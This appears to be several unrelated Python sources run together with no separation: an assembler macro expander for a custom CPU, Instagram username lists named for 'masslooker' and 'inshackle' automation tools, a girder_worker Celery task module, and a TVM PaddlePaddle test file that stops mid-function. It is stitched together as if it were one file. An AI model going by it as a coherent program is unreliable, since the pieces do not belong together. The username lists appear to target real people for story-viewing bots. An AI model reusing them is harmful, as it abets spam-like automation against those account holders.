from Assembler.assembler_data import *

def convertBasicMacro(macro):
	template = list(BASIC_MACROS[macro[0]])

	#Handle macro registers, immediates...
	try:
		for i, elem in enumerate(template):
			if elem[0] == "%":
				if len(elem) > 3 and elem[-3:] == "...":
					template = template[:i] + macro[int(elem[1:-3]):] + template[i + 1:]

				else:
					template[i] = macro[int(elem[1:])]

	except IndexError:
		i = 0
		for elem in template:
			if elem[0] == "%":
				if len(elem) > 3 and elem[-3:] == "...":
					elem = elem[:-3]
				if int(elem) > i:
					i = int(elem)

		raise AssemblerError(macro[0] + " requires at least " + str(i) + " terms.")

	return template

#Expand a macro into its corresponding instruction(s)
def convertMacro(macro):
	instructions = []
	op = macro[0]

	try:

		#Stack push
		if op == "PUSH":
			cnt = 0
			for i in macro[1:]:
				cnt += 4
				instructions.append(["SW", i, "SP", "+", str(cnt)])
			instructions.append(["ADDUI", "SP", str(cnt)])

		#Stack pop
		elif op == "POP":
			cnt = 0
			for i in macro[1:]:
				instructions.append(["LW", i, "SP", "-", str(cnt)])
				cnt += 4
			instructions.append(["SUBUI", "SP", str(cnt)])

		#Stack delete
		elif op == "DEL":
			dist = int(macro[1]) * 4
			instructions.append(["SUBUI", "SP", str(dist)])

		#Stack call
		elif op == "CALL":
			instructions.append(["JAL", "RA", "4"])
			instructions.append(["JAL", macro[1], macro[2]])

		#Function start points
		elif op == ">":
			instructions.append([":",macro[1]])
			cnt = 0
			if len(macro) > 2:
				for val in macro[2:]:
					instructions.append(["LW", val, "SP", "-", str(cnt)])
					cnt += 4
				instructions.append(["SUBUI", "SP", str(cnt)])
			instructions.append(["SW", "FP", "SP", "+", "4"])
			instructions.append(["SW", "RA", "SP", "+", "8"])
			instructions.append(["ADDUI", "SP", "8"])
			instructions.append(["ADDUI", "FP", "SP", "4"])

		#Stack return
		elif op == "RET":
			instructions.append(["SUBUI", "SP", "FP", "12"])
			instructions.append(["LW", "FP", "SP", "+", "4"])
			instructions.append(["LW", "RA", "SP", "+", "8"])
			instructions.append(["JALR", "ZERO", "RA", "+", "4"])

		#Set register
		elif op == "SET":
			upper = int(macro[2]) // 4096
			lower = int(macro[2]) % 4096

			if upper:
				instructions.append(["LUI", macro[1], str(upper)])
				if lower:
					instructions.append(["ADDUI", macro[1], str(lower)])
			elif lower:
				instructions.append(["ADDUI", macro[1], "ZERO", str(lower)])

	except IndexError:
		raise AssemblerError(macro[0] + " requires more terms.")
	except ValueError:
		raise AssemblerError(macro[0] + " expected and integer received a string.")

	return instructions

#Substitute any branch statements with equivalent instructions
def removeBranches(assembly):
	for i, line in enumerate(assembly):

		if line[0] == "BRANCH":
			try:
				new_line = []
				condition = line[1:4]

				if condition[1] == "==":
					new_line.append('BEQ')

				elif condition[1] == "!=":
					new_line.append('BNE')

				elif condition[1] == ">":
					new_line.append('BGT')

				elif condition[1] == ">=":
					new_line.append('BGE')

				elif condition[1] == "<":
					new_line.append('BLT')

				elif condition[1] == "<=":
					new_line.append('BLE')

				else:
					raise AssemblerError(condition[1] + "is not a valid Branch condition.")

				new_line += ["ZERO", condition[0], condition[2], ":"]
				new_line.append(line[line.index(":") + 1])
				assembly[i] = new_line

			except IndexError:
				raise AssemblerError(str(line) + " is not a valid Branch statement.")

	return assembly

def macrosAssembly(assembly):

	#Remove branch statements
	p("\tRemoving branches...")
	assembly = removeBranches(assembly)

	#Remove other macros
	p("\tExpanding macros...")
	new_assembly = []
	for line in assembly:
		#Basic macros
		if line[0] in BASIC_MACROS.keys():
			new_assembly.append(convertBasicMacro(line))
			p("\t" + str(line) + "  =>  " + str(new_assembly[-1]) + "\n")

		#Advanced macros
		elif line[0] in OTHER_MACROS:
			expanded = convertMacro(line)
			new_assembly += expanded
			p("\t" + str(line) + "  =>  [" + str(expanded[0]) + ",")
			for i in range(len(expanded) - 1):
				p("\t\t\t" + str(expanded[i + 1]) + ",")
			p("")

		else:
			new_assembly.append(line)

	return new_assembly

CPU_6 RISC 64 bit/Assembler/assembler_macros.py


USERID_FOR_MASSLOOKER = [
"mlkellyyy",
    "tabbyknightt",
    "siddhantrao007",
    "camilla_akerberg",
    "v.chakir",
    "positive_card",
    "jamiedorego_ifbbpro",
    "_runningmama_",
    "happy4life_11",
    "muscleandfitness",
    ]

USERID_FOR_INSHACKLE = [
"ulissesworld",
    "andreideiu_",
    "sergiconstance",
    "jeremy_buendia",
    "simeonpanda",
    "sadikhadzovic",
    "kaigreene",
    "philheath",
    "big_ramy",
    "ronniecoleman8",
    ]


import girder_worker
from girder_worker import logger
import traceback as tb
import celery
from celery import Celery, __version__
from distutils.version import LooseVersion
from celery.signals import (task_prerun, task_postrun,
                            task_failure, task_success,
                            worker_ready, before_task_publish, task_revoked)
from celery.result import AsyncResult

from celery.task.control import inspect

from six.moves import configparser
import sys
from .utils import JobStatus, StateTransitionException
from girder_client import GirderClient

class GirderAsyncResult(AsyncResult):
    def __init__(self, *args, **kwargs):
        self._job = None
        super(GirderAsyncResult, self).__init__(*args, **kwargs)

    @property
    def job(self):
        if self._job is None:
            try:
                # GirderAsyncResult() objects may be instantiated in either a girder REST
                # request,  or in some other context (e.g. from a running girder_worker
                # instance if there is a chain).  If we are in a REST request we should
                # have access to the girder package and can directly access the database
                # If we are in a girder_worker context (or even in python console or a
                # testing context) then we should get an ImportError and we can make a REST
                # request to get the information we need.
                from girder.utility.model_importer import ModelImporter
                job_model = ModelImporter.model('job', 'jobs')

                try:
                    return job_model.findOne({'celeryTaskId': self.task_id})
                except IndexError:
                    return None

            except ImportError:
                # Make a rest request to get the job info
                return None

        return self._job

class Task(celery.Task):
    """Girder Worker Task object"""

    _girder_job_title = '<unnamed job>'
    _girder_job_type = 'celery'
    _girder_job_public = False
    _girder_job_handler = 'celery_handler'
    _girder_job_other_fields = {}

    # These keys will be removed from apply_async's kwargs or options and
    # transfered into the headers of the message.
    reserved_headers = [
        'girder_client_token',
        'girder_api_url']

    # These keys will be available in the 'properties' dictionary inside
    # girder_before_task_publish() but will not be passed along in the message
    reserved_options = [
        'girder_user',
        'girder_job_title',
        'girder_job_type',
        'girder_job_public',
        'girder_job_handler',
        'girder_job_other_fields']

    def AsyncResult(self, task_id, **kwargs):
        return GirderAsyncResult(task_id, backend=self.backend,
                                 task_name=self.name, app=self.app, **kwargs)

    def apply_async(self, args=None, kwargs=None, task_id=None, producer=None,
                    link=None, link_error=None, shadow=None, **options):

        # Pass girder related job information through to
        # the signals by adding this information to options['headers']
        # This sets defaults for reserved_options based on the class defaults,
        # or values defined by the girder_job() dectorator
        headers = {
            'girder_job_title': self._girder_job_title,
            'girder_job_type': self._girder_job_type,
            'girder_job_public': self._girder_job_public,
            'girder_job_handler': self._girder_job_handler,
            'girder_job_other_fields': self._girder_job_other_fields,
        }

        # Certain keys may show up in either kwargs (e.g. via .delay(girder_token='foo')
        # or in options (e.g.  .apply_async(args=(), kwargs={}, girder_token='foo')
        # For those special headers,  pop them out of kwargs or options and put them
        # in headers so they can be picked up by the before_task_publish signal.
        for key in self.reserved_headers + self.reserved_options:
            if kwargs is not None and key in kwargs:
                headers[key] = kwargs.pop(key)
            if key in options:
                headers[key] = options.pop(key)

        if 'headers' in options:
            options['headers'].update(headers)
        else:
            options['headers'] = headers

        return super(Task, self).apply_async(
            args=args, kwargs=kwargs, task_id=task_id, producer=producer,
            link=link, link_error=link_error, shadow=shadow, **options)

    @property
    def canceled(self):
        """
        A property to indicate if a task has been canceled.

        :returns True is this task has been canceled, False otherwise.
        """
        return is_revoked(self)

    def describe(self):
        # The describe module indirectly depends on this module, so to
        # avoid circular imports, we import describe_function here.
        from describe import describe_function
        return describe_function(self.run)

    def call_item_task(self, inputs, outputs={}):
        return self.run.call_item_task(inputs, outputs)

@before_task_publish.connect
def girder_before_task_publish(sender=None, body=None, exchange=None,
                               routing_key=None, headers=None, properties=None,
                               declare=None, retry_policy=None, **kwargs):
    if 'jobInfoSpec' not in headers:
        try:
            # Note: If we can import these objects from the girder packages we
            # assume our producer is in a girder REST request. This allows
            # us to create the job model's directly. Otherwise there will be an
            # ImportError and we can create the job via a REST request using
            # the jobInfoSpec in headers.
            from girder.utility.model_importer import ModelImporter
            from girder.plugins.worker import utils
            from girder.api.rest import getCurrentUser

            job_model = ModelImporter.model('job', 'jobs')

            user = headers.pop('girder_user', getCurrentUser())
            task_args, task_kwargs = body[0], body[1]

            job = job_model.createJob(
                **{'title': headers.pop('girder_job_title', Task._girder_job_title),
                   'type': headers.pop('girder_job_type', Task._girder_job_type),
                   'handler': headers.pop('girder_job_handler', Task._girder_job_handler),
                   'public': headers.pop('girder_job_public', Task._girder_job_public),
                   'user': user,
                   'args': task_args,
                   'kwargs': task_kwargs,
                   'otherFields': dict(celeryTaskId=headers['id'],
                                       **headers.pop('girder_job_other_fields',
                                                     Task._girder_job_other_fields))})

            headers['jobInfoSpec'] = utils.jobInfoSpec(job)

        except ImportError:
            # TODO: Check for self.job_manager to see if we have
            #       tokens etc to contact girder and create a job model
            #       we may be in a chain or a chord or some-such
            pass

    if 'girder_api_url' not in headers:
        try:
            from girder.plugins.worker import utils
            headers['girder_api_url'] = utils.getWorkerApiUrl()
        except ImportError:
            # TODO: handle situation where girder_worker is producing the message
            #       Note - this may not come up at all depending on how we pass
            #       girder_api_url through to the next task (e.g. in the context
            #       of chaining events)
            pass

    if 'girder_client_token' not in headers:
        try:
            from girder.utility.model_importer import ModelImporter
            headers['girder_client_token'] = ModelImporter.model('token').createToken()
        except ImportError:
            # TODO: handle situation where girder_worker is producing the message
            #       Note - this may not come up at all depending on how we pass
            #       girder_token through to the next task (e.g. in the context
            #       of chaining events)
            pass

    # Finally,  remove all reserved_options from headers
    for key in Task.reserved_options:
        headers.pop(key, None)

@worker_ready.connect
def check_celery_version(*args, **kwargs):
    if LooseVersion(__version__) < LooseVersion('4.0.0'):
        sys.exit("""You are running Celery {}.

girder-worker requires celery>=4.0.0""".format(__version__))

def deserialize_job_info_spec(**kwargs):
    return girder_worker.utils.JobManager(**kwargs)

class JobSpecNotFound(Exception):
    pass

def _job_manager(request=None, headers=None, kwargs=None):
    if hasattr(request, 'jobInfoSpec'):
        jobSpec = request.jobInfoSpec

    # We are being called from revoked signal
    elif headers is not None and \
            'jobInfoSpec' in headers:
        jobSpec = headers['jobInfoSpec']

    # Deprecated: This method of passing job information
    # to girder_worker is deprecated. Newer versions of girder
    # pass this information automatically as apart of the
    # header metadata in the worker scheduler.
    elif 'jobInfo' in kwargs:
        jobSpec = kwargs.pop('jobInfo', {})

    else:
        raise JobSpecNotFound

    return deserialize_job_info_spec(**jobSpec)

def _update_status(task, status):
    # For now,  only automatically update status if this is
    # not a child task. Otherwise child tasks completion will
    # update the parent task's jobModel in girder.
    if task.request.parent_id is None:
        task.job_manager.updateStatus(status)

@task_prerun.connect
def gw_task_prerun(task=None, sender=None, task_id=None,
                   args=None, kwargs=None, **rest):
    """Deserialize the jobInfoSpec passed in through the headers.

    This provides the a JobManager class as an attribute of the
    task before task execution.  decorated functions may bind to
    their task and have access to the job_manager for logging and
    updating their status in girder.
    """
    try:
        task.job_manager = _job_manager(task.request, task.request.headers)
        _update_status(task, JobStatus.RUNNING)

    except JobSpecNotFound:
        task.job_manager = None
        logger.warn('No jobInfoSpec. Setting job_manager to None.')
    except StateTransitionException:
        # Fetch the current status of the job
        status = task.job_manager.refreshStatus()
        # If we are canceling we want to stay in that state
        if status != JobStatus.CANCELING:
            raise

    try:
        task.girder_client = GirderClient(apiUrl=task.request.girder_api_url)
        task.girder_client.token = task.request.girder_client_token
    except AttributeError:
        task.girder_client = None

@task_success.connect
def gw_task_success(sender=None, **rest):
    try:

        if not is_revoked(sender):
            _update_status(sender, JobStatus.SUCCESS)

        # For tasks revoked directly
        else:
            _update_status(sender, JobStatus.CANCELED)
    except AttributeError:
        pass
    except StateTransitionException:
        # Fetch the current status of the job
        status = sender.job_manager.refreshStatus()
        # If we are in CANCELING move to CANCELED
        if status == JobStatus.CANCELING or is_revoked(sender):
            _update_status(sender, JobStatus.CANCELED)
        else:
            raise

@task_failure.connect
def gw_task_failure(sender=None, exception=None,
                    traceback=None, **rest):
    try:

        msg = '%s: %s\n%s' % (
            exception.__class__.__name__, exception,
            ''.join(tb.format_tb(traceback)))

        sender.job_manager.write(msg)

        _update_status(sender, JobStatus.ERROR)
    except AttributeError:
        pass

@task_postrun.connect
def gw_task_postrun(task=None, sender=None, task_id=None,
                    args=None, kwargs=None,
                    retval=None, state=None, **rest):
    try:
        task.job_manager._flush()
        task.job_manager._redirectPipes(False)
    except AttributeError:
        pass

@task_revoked.connect
def gw_task_revoked(sender=None, request=None, **rest):
    try:
        sender.job_manager = _job_manager(headers=request.message.headers,
                                          kwargs=request.kwargsrepr)
        _update_status(sender, JobStatus.CANCELED)
    except AttributeError:
        pass
    except JobSpecNotFound:
        logger.warn('No jobInfoSpec. Unable to move \'%s\' into CANCELED state.')

# Access to the correct "Inspect" instance for this worker
_inspector = None

def _worker_inspector(task):
    global _inspector
    if _inspector is None:
        _inspector = inspect([task.request.hostname])

    return _inspector

# Get this list of currently revoked tasks for this worker
def _revoked_tasks(task):
    return _worker_inspector(task).revoked().get(task.request.hostname, [])

def is_revoked(task):
    """
    Utility function to check is a task has been revoked.

    :param task: The task.
    :type task: celery.app.task.Task
    :return True, if this task is in the revoked list for this worker, False
            otherwise.
    """
    return task.request.id in _revoked_tasks(task)

class _CeleryConfig:
    CELERY_ACCEPT_CONTENT = ['json', 'pickle', 'yaml']

broker_uri = girder_worker.config.get('celery', 'broker')
try:
    backend_uri = girder_worker.config.get('celery', 'backend')
except configparser.NoOptionError:
    backend_uri = broker_uri

app = Celery(
    main=girder_worker.config.get('celery', 'app_main'),
    backend=backend_uri, broker=broker_uri,
    task_cls='girder_worker.app:Task')

app.config_from_object(_CeleryConfig)


# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements.  See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership.  The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License.  You may obtain a copy of the License at
#
#   http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied.  See the License for the
# specific language governing permissions and limitations
# under the License.
from pathlib import Path
import shutil

import numpy as np

import paddle

import paddle.nn as nn

import tvm
import tvm.testing
import tvm.topi.testing
from tvm import relay
from tvm.contrib import graph_executor

PADDLE_TEST_DATA_ROOT_PATH = Path(Path("~").expanduser(), ".tvm_test_data", "paddle")
PADDLE_TEST_DATA_ROOT_PATH.mkdir(parents=True, exist_ok=True)

def assert_shapes_match(tru, est):
    if tru.shape != est.shape:
        msg = "Paddle Output shapes {} and TVM shapes {} don't match"
        raise AssertionError(msg.format(tru.shape, est.shape))
    if tru.dtype != est.dtype:
        msg = "Paddle Output dtype {} and TVM dtype {} don't match"
        raise AssertionError(msg.format(tru.dtype, est.dtype))

def get_paddle_model(func, input_spec):
    global PADDLE_TEST_DATA_ROOT_PATH
    model_path = Path(PADDLE_TEST_DATA_ROOT_PATH, "model")
    paddle.jit.save(func, str(model_path), input_spec=input_spec)
    baseline_model = paddle.jit.load(str(model_path))

    shutil.rmtree(str(PADDLE_TEST_DATA_ROOT_PATH))
    return baseline_model

def get_tvm_output_with_vm(mod, params, target, device, input_data):
    """Generic function to execute and get tvm output with vm executor"""

    ex = relay.create_executor("vm", mod=mod, device=device, target=target)
    params.update(input_data)
    result = ex.evaluate()(**params)
    if isinstance(result, tvm.runtime.NDArray):
        return [
            result.numpy(),
        ]
    return [r.numpy() for r in result]

def get_tvm_output(mod, params, target, device, input_data, compiled_names, num):
    """Generic function to execute and get tvm output"""

    lib = relay.build(mod, target=target, params=params)
    gmod = graph_executor.GraphModule(lib["default"](device))
    for name in compiled_names:
        gmod.set_input(name, input_data[name])
    gmod.run()
    outputs = []
    for i in range(num):
        outputs.append(gmod.get_output(i).numpy())
    return outputs

def verify_model(func, input_data, rtol=1e-5, atol=1e-5, input_shape=None):
    if not isinstance(input_data, (tuple, list)):
        input_data = [input_data]

    input_spec = []
    input_names = []
    input_shape_dict = {}
    compiled_input = {}
    for idx, data in enumerate(input_data):
        input_name = "input{}".format(idx)
        if input_shape:
            shape = input_shape[idx]
        else:
            shape = data.shape
        input_shape_dict[input_name] = shape
        input_spec.append(paddle.static.InputSpec(dtype=data.dtype, shape=shape, name=input_name))
        input_names.append(input_name)
        if isinstance(data, np.ndarray):
            compiled_input[input_name] = data
        else:
            compiled_input[input_name] = data.numpy()

    baseline_model = get_paddle_model(func, input_spec)
    baseline_outputs = baseline_model(*[input[:] for input in input_data])

    # get paddle outputs
    if isinstance(baseline_outputs, (tuple, list)):
        baseline_outputs = tuple(out.numpy() for out in baseline_outputs)
    else:
        baseline_outputs = (baseline_outputs.numpy(),)

    mod, params = relay.frontend.from_paddle(baseline_model, input_shape_dict)
    parms_num = min(len(input_names), len(mod["main"].params))
    compiled_names = []
    for arg in mod["main"].params:
        assert arg.name_hint in input_names or arg.name_hint in params
        if arg.name_hint in input_names:
            compiled_names.append(arg.name_hint)

    with tvm.transform.PassContext(opt_level=3):
        for target, dev in tvm.testing.enabled_targets():
            if input_shape:
                tvm_output = get_tvm_output_with_vm(mod, params, target, dev, compiled_input)
            else:
                tvm_output = get_tvm_output(
                    mod, params, target, dev, compiled_input, compiled_names, len(baseline_outputs)
                )

            for baseline_output, compiled_output in zip(baseline_outputs, tvm_output):
                assert_shapes_match(baseline_output, compiled_output)
                tvm.testing.assert_allclose(baseline_output, compiled_output, rtol=rtol, atol=atol)

@tvm.testing.uses_gpu
def test_forward_math():
    class MathOp(nn.Layer):
        def __init__(self, op_name):
            super(MathOp, self).__init__()
            for candidate in (paddle, paddle.nn.functional):
                self.func = getattr(candidate, op_name, None)
                if self.func:
                    break

        @paddle.jit.to_static
        def forward(self, inputs):
            return self.func(inputs)

    input_data = paddle.rand([1, 2, 5, 5], dtype="float32")
    op_list = [
        "abs",
        "acos",
        "asin",
        "atan",
        "ceil",
        "cos",
        "cosh",
        "erf",
        "exp",
        "floor",
        "log",
        "log2",
        "log10",
        "log1p",
        "numel",
        "relu",
        "round",
        "rsqrt",
        "sigmoid",
        "sign",
        "rsqrt",
        "sin",
        "sinh",
        "sqrt",
        "tan",
        "tanh",
    ]
    for op_name in op_list:
        verify_model(MathOp(op_name), input_data)

@tvm.testing.uses_gpu
def test_forward_add_subtract():
    input_shape = [10]

    @paddle.jit.to_static
    def add_subtract(inputs):
        return paddle.subtract(paddle.add(inputs, inputs), inputs)

    @paddle.jit.to_static
    def add_subtract2(inputs):
        return inputs + 1 - 2

    @paddle.jit.to_static
    def add_subtract3(inputs1, inputs2):
        ones = paddle.ones([10], dtype="float32")
        return inputs1 + ones - inputs2

    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(add_subtract, input_data)
    verify_model(add_subtract2, input_data)
    input_data2 = paddle.rand(input_shape, dtype="float32")
    verify_model(add_subtract3, [input_data, input_data2])

@tvm.testing.uses_gpu
def test_forward_addmm():
    @paddle.jit.to_static
    def addmm(input, x, y, alpha=1, beta=1):
        return paddle.addmm(input, x, y, alpha, beta)

    input_shape = [10, 10]
    x_shape = [10, 3]
    y_shape = [3, 10]
    input_data = paddle.rand(input_shape, dtype="float32")
    x_data = paddle.rand(x_shape, dtype="float32")
    y_data = paddle.rand(y_shape, dtype="float32")
    verify_model(addmm, input_data=[input_data, x_data, y_data])

@tvm.testing.uses_gpu
def test_forward_argmax():
    input_shape = [1, 3, 10, 10]

    class ArgMax(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return paddle.argmax(inputs)

    class ArgMax1(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return inputs.argmax(axis=1)

    class ArgMax2(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return inputs.argmax(axis=1, keepdim=False)

    class ArgMax3(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return inputs.argmax(axis=2, keepdim=True)

    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(ArgMax(), input_data=input_data)
    verify_model(ArgMax1(), input_data=input_data)
    verify_model(ArgMax2(), input_data=input_data)
    verify_model(ArgMax3(), input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_argmin():
    input_shape = [1, 3, 10, 10]

    class ArgMin(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return paddle.argmin(inputs)

    class ArgMin1(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return inputs.argmin(axis=1)

    class ArgMin2(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return inputs.argmin(axis=1, keepdim=False)

    class ArgMin3(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return inputs.argmin(axis=2, keepdim=True)

    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(ArgMin(), input_data=input_data)
    verify_model(ArgMin1(), input_data=input_data)
    verify_model(ArgMin2(), input_data=input_data)
    verify_model(ArgMin3(), input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_argsort():
    @paddle.jit.to_static
    def argsort(inputs):
        return paddle.argsort(inputs)

    @paddle.jit.to_static
    def argsort2(inputs):
        return paddle.argsort(inputs, axis=0, descending=True)

    input_shape = [2, 3, 5]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(argsort, input_data)
    input_data2 = np.random.randint(100, size=input_shape)
    verify_model(argsort2, input_data2)

@tvm.testing.uses_gpu
def test_forward_assign():
    class Assign(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return paddle.assign(inputs)

    input_shape = [2, 3]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(Assign(), [input_data])
    input_data2 = np.random.randint(100, size=input_shape)
    verify_model(Assign(), [input_data2], input_shape=[[-1, -1]])

@tvm.testing.uses_gpu
def test_forward_batch_norm():
    class BatchNorm1D(nn.Layer):
        def __init__(self):
            super(BatchNorm1D, self).__init__()
            self.batch_norm = nn.BatchNorm1D(2)

        @paddle.jit.to_static
        def forward(self, input_data):
            return self.batch_norm(input_data)

    class BatchNorm2D(nn.Layer):
        def __init__(self):
            super(BatchNorm2D, self).__init__()
            self.batch_norm = nn.BatchNorm2D(2)

        @paddle.jit.to_static
        def forward(self, input_data):
            return self.batch_norm(input_data)

    class BatchNorm3D(nn.Layer):
        def __init__(self):
            super(BatchNorm3D, self).__init__()
            self.batch_norm = nn.BatchNorm3D(2)

        @paddle.jit.to_static
        def forward(self, input_data):
            return self.batch_norm(input_data)

    input_data = paddle.rand((2, 2, 3), dtype="float32")
    verify_model(BatchNorm1D(), input_data=input_data)
    input_data = paddle.rand((2, 2, 2, 3), dtype="float32")
    verify_model(BatchNorm2D(), input_data=input_data)
    input_data = paddle.rand((2, 2, 2, 2, 3), dtype="float32")
    verify_model(BatchNorm3D(), input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_cast():
    @paddle.jit.to_static
    def cast1(inputs, dtype="uint8"):
        return paddle.cast(inputs, dtype)

    @paddle.jit.to_static
    def cast2(inputs, dtype="int64"):
        return inputs.cast(dtype)

    input_shape = [2, 3]
    input_data = paddle.rand(input_shape, dtype="float32") * 100
    verify_model(cast1, [input_data])
    verify_model(cast2, [input_data])

@tvm.testing.uses_gpu
def test_forward_clip():
    @paddle.jit.to_static
    def clip(inputs):
        return paddle.clip(inputs, min=3, max=5)

    @paddle.jit.to_static
    def clip2(inputs, max_value):
        return paddle.clip(inputs, max=max_value)

    @paddle.jit.to_static
    def clip3(inputs, min_value):
        return paddle.clip(inputs, min=min_value)

    @paddle.jit.to_static
    def clip4(inputs, min_value, max_value):
        return paddle.clip(inputs, min=min_value, max=max_value)

    verify_model(clip, paddle.to_tensor([[1, 2], [4, 6]], dtype="int32"))
    x = np.array([[1.2, 3.5], [4.5, 6.4]])
    x1 = paddle.to_tensor(x, dtype="float32")
    min_value = paddle.to_tensor(np.array([2.1]), dtype="float32")
    max_value = paddle.to_tensor(np.array([4.5]), dtype="float32")
    verify_model(clip2, [x1, max_value])
    verify_model(clip3, [x1, min_value])
    verify_model(clip4, [x1, min_value, max_value])

@tvm.testing.uses_gpu
def test_forward_concat_unsqueeze():
    @paddle.jit.to_static
    def concat_unsqueeze1(inputs):
        return paddle.concat([inputs[:, 0].unsqueeze(1), inputs[:, 1].unsqueeze(1)], axis=1)

    @paddle.jit.to_static
    def concat_unsqueeze2(inputs):
        a = (inputs[:, :, 0] + 2) * 7
        b = (inputs[:, :, 1] + 3) * 11
        c = (inputs[:, :, 2] + 5) * 13
        return paddle.concat([paddle.unsqueeze(t, axis=2) for t in [a, b, c]], axis=2)

    input_shape = [1, 3, 10, 10]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(concat_unsqueeze1, input_data=input_data)
    verify_model(concat_unsqueeze2, input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_crop():
    @paddle.jit.to_static
    def crop1(inputs):
        return paddle.crop(inputs, shape=[2, 2])

    @paddle.jit.to_static
    def crop2(inputs, shape):
        return paddle.crop(inputs, shape=shape, offsets=[0, 1])

    @paddle.jit.to_static
    def crop3(inputs):
        offsets = paddle.to_tensor(np.array([1, 0]).astype("int32"))
        return paddle.crop(inputs, shape=[3, 3], offsets=offsets)

    @paddle.jit.to_static
    def crop4(inputs, shape, offsets):
        return paddle.crop(inputs, shape=shape, offsets=offsets)

    input_shape = [10, 10]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(crop1, input_data=[input_data])
    shape = paddle.to_tensor(np.array([3, 3], "int32"))
    verify_model(crop2, [input_data, shape], input_shape=[[-1, -1], [2]])
    verify_model(crop3, input_data=[input_data])
    offsets = paddle.to_tensor(np.array([1, 1]).astype("int32"))
    verify_model(crop4, input_data=[input_data, shape, offsets], input_shape=[[-1, -1], [2], [2]])

@tvm.testing.uses_gpu
def test_forward_cumsum():
    class Cumsum1(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return paddle.cumsum(inputs)

    class Cumsum2(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return paddle.cumsum(inputs, axis=0)

    class Cumsum3(nn.Layer):
        @paddle.jit.to_static
        def forward(self, inputs):
            return paddle.cumsum(inputs, axis=1)

    input_data = paddle.randint(0, 100, (10, 10), dtype=paddle.int32)
    verify_model(Cumsum1(), input_data)
    verify_model(Cumsum1(), [input_data.astype(paddle.int64)])
    verify_model(Cumsum2(), input_data)
    verify_model(Cumsum3(), input_data)

@tvm.testing.uses_gpu
def test_forward_conv():
    class Conv2D1(nn.Layer):
        def __init__(self):
            super(Conv2D1, self).__init__()
            self.conv = nn.Conv2D(3, 6, 7, bias_attr=True)
            self.softmax = nn.Softmax()

        @paddle.jit.to_static
        def forward(self, inputs):
            return self.softmax(self.conv(inputs))

    class Conv2D2(nn.Layer):
        def __init__(self):
            super(Conv2D2, self).__init__()
            self.conv = nn.Conv2D(3, 6, 7, groups=3, bias_attr=False)
            self.softmax = nn.Softmax()

        @paddle.jit.to_static
        def forward(self, inputs):
            return self.softmax(self.conv(inputs))

    class Conv2D3(nn.Layer):
        def __init__(self):
            super(Conv2D3, self).__init__()
            self.conv = nn.Conv2D(3, 6, 7, groups=3, bias_attr=False, padding="SAME")

        @paddle.jit.to_static
        def forward(self, inputs):
            return self.conv(inputs)

    class Conv2D4(nn.Layer):
        def __init__(self):
            super(Conv2D4, self).__init__()
            self.conv = nn.Conv2D(
                3, 6, 7, groups=3, bias_attr=False, padding=[1, 2, 0, 1], stride=2, dilation=2
            )

        @paddle.jit.to_static
        def forward(self, inputs):
            return self.conv(inputs)

    conv2d_input_shape = [1, 3, 112, 112]
    conv2d_input_data = paddle.rand(conv2d_input_shape, dtype="float32")
    verify_model(Conv2D1(), input_data=conv2d_input_data)
    verify_model(Conv2D2(), input_data=conv2d_input_data)
    verify_model(Conv2D3(), input_data=conv2d_input_data)
    verify_model(Conv2D4(), input_data=conv2d_input_data)
    verify_model(Conv2D1(), conv2d_input_data, input_shape=[[-1, 3, 112, 112]])

@tvm.testing.uses_gpu
def test_forward_dist():
    @paddle.jit.to_static
    def dist(x, y):
        return paddle.dist(x, y, p=2)

    @paddle.jit.to_static
    def dist2(x, y):
        return paddle.dist(x, y, p=20)

    @paddle.jit.to_static
    def dist3(x, y):
        return paddle.dist(x, y, p=float("-inf"))

    @paddle.jit.to_static
    def dist4(x, y):
        return paddle.dist(x, y, p=float("inf"))

    x_shape = [10, 3]
    y_shape = [10, 1]
    x_data = paddle.rand(x_shape, dtype="float32")
    y_data = paddle.rand(y_shape, dtype="float32")
    verify_model(dist, input_data=[x_data, y_data])
    verify_model(dist2, input_data=[x_data, y_data])
    verify_model(dist3, input_data=[x_data, y_data])
    verify_model(dist4, input_data=[x_data, y_data])

@tvm.testing.uses_gpu
def test_forward_dot():
    @paddle.jit.to_static
    def dot(x, y):
        return paddle.dot(x, y)

    x_shape = [10, 3]
    y_shape = [10, 3]
    x_data = paddle.rand(x_shape, dtype="float32")
    y_data = paddle.rand(y_shape, dtype="float32")
    verify_model(dot, input_data=[x_data, y_data])

@tvm.testing.uses_gpu
def test_forward_dropout():
    @paddle.jit.to_static
    def dropout(inputs):
        return nn.functional.dropout(inputs)

    input_shape = [1, 3, 10, 10]
    input_data = paddle.rand(input_shape, dtype="float32")
    verify_model(dropout, input_data=input_data[0, 0])
    verify_model(dropout, input_data=input_data)

@tvm.testing.uses_gpu
def test_forward_expand():
    @paddle.jit.to_static
    def expand1(inputs):
        return paddle.expand(inputs, shape=[2, 3])

    @paddle.jit.to_static
    def expand2(inputs, shape):
